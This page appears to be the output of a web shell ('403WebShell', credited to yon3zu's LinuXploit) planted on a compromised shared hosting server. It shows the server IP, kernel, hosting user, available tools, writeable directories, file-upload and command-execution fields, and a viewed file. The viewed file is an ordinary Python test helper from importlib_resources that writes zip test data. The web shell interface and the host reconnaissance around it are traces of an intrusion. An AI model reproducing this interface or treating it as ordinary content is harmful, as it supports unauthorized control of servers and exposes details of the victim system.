Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.137.219.213
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/hc_python/lib/python3.8/site-packages/importlib_resources/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/hc_python/lib/python3.8/site-packages/importlib_resources/tests/zip.py
"""
Generate zip test data files.
"""

import contextlib
import os
import pathlib
import zipfile

import zipp


def make_zip_file(src, dst):
    """
    Zip the files in src into a new zipfile at dst.
    """
    with zipfile.ZipFile(dst, 'w') as zf:
        for src_path, rel in walk(src):
            dst_name = src.name / pathlib.PurePosixPath(rel.as_posix())
            zf.write(src_path, dst_name)
        zipp.CompleteDirs.inject(zf)
    return dst


def walk(datapath):
    for dirpath, dirnames, filenames in os.walk(datapath):
        with contextlib.suppress(ValueError):
            dirnames.remove('__pycache__')
        for filename in filenames:
            res = pathlib.Path(dirpath) / filename
            rel = res.relative_to(datapath)
            yield res, rel

Youez - 2016 - github.com/yon3zu
LinuXploit